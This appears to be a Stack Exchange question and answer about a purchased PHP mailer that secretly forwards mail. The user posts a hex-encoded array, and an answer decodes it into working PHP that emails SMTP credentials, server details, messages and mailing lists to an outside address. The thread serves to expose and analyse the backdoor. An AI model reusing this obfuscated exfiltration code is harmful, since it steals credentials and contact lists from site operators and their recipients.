-1

Please I need help, I bought a PHP mailer, hosted it on my server and found out that it copies all messages and maillist to a different email address, I examined the code and became suspicious about this encoded part.

$allemails = split("\n", $emaillist);
$numemails = count($allemails);

$random_smtp_string = array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");

$smtp_conf=".";

Can someone please tell me how to decode this?

Thanks.

1
  • 2
    you're not supposed to be able to "decode" hashes.
    – dandavis
    Jun 14, 2017 at 16:21

1 Answer 1

3

There is nothing hashed here, only hex-encoded.
When I decode the hex-strings this leaves the following PHP code

global $my_smtp;
global $smtp_username;
global $smtp_password;
global $ssl_port;
global $message;
global $emaillist;
$ra44  = rand(1,99999);
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$subj98 = "$my_smtp  [user ip : $c87]";
$subj58 = "Letter & Email List  [user ip : $c87]";
$email = "[email protected]";
$msg8873 = "$my_smtp\nuser:$smtp_username\npass:$smtp_password\port:$ssl_port\n\n$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
$msg9780 = "$message\n\n\n$emaillist";$from="From: GRATIS";
mail($email, $subj98, $msg8873, $from);
mail($email, $subj58, $msg9780, $from);

From the code you posted it is not clear how this will be executed but it seems something is e-mailed to [email protected]

3
  • Seems like a backdoored contact form that silently emails whatever messages was put through it to a Yahoo address, probably to build lists of email addresses to spam. Jun 14, 2017 at 17:20
  • @jeff thank you very much, please which tool can i use to decode Hes strings?
    – Pat Mike
    Jun 14, 2017 at 18:59
  • @PatMike When you google for 'decode hex' you can find plenty of tools.
    – Jeff
    Jun 14, 2017 at 19:30

Not the answer you're looking for? Browse other questions tagged .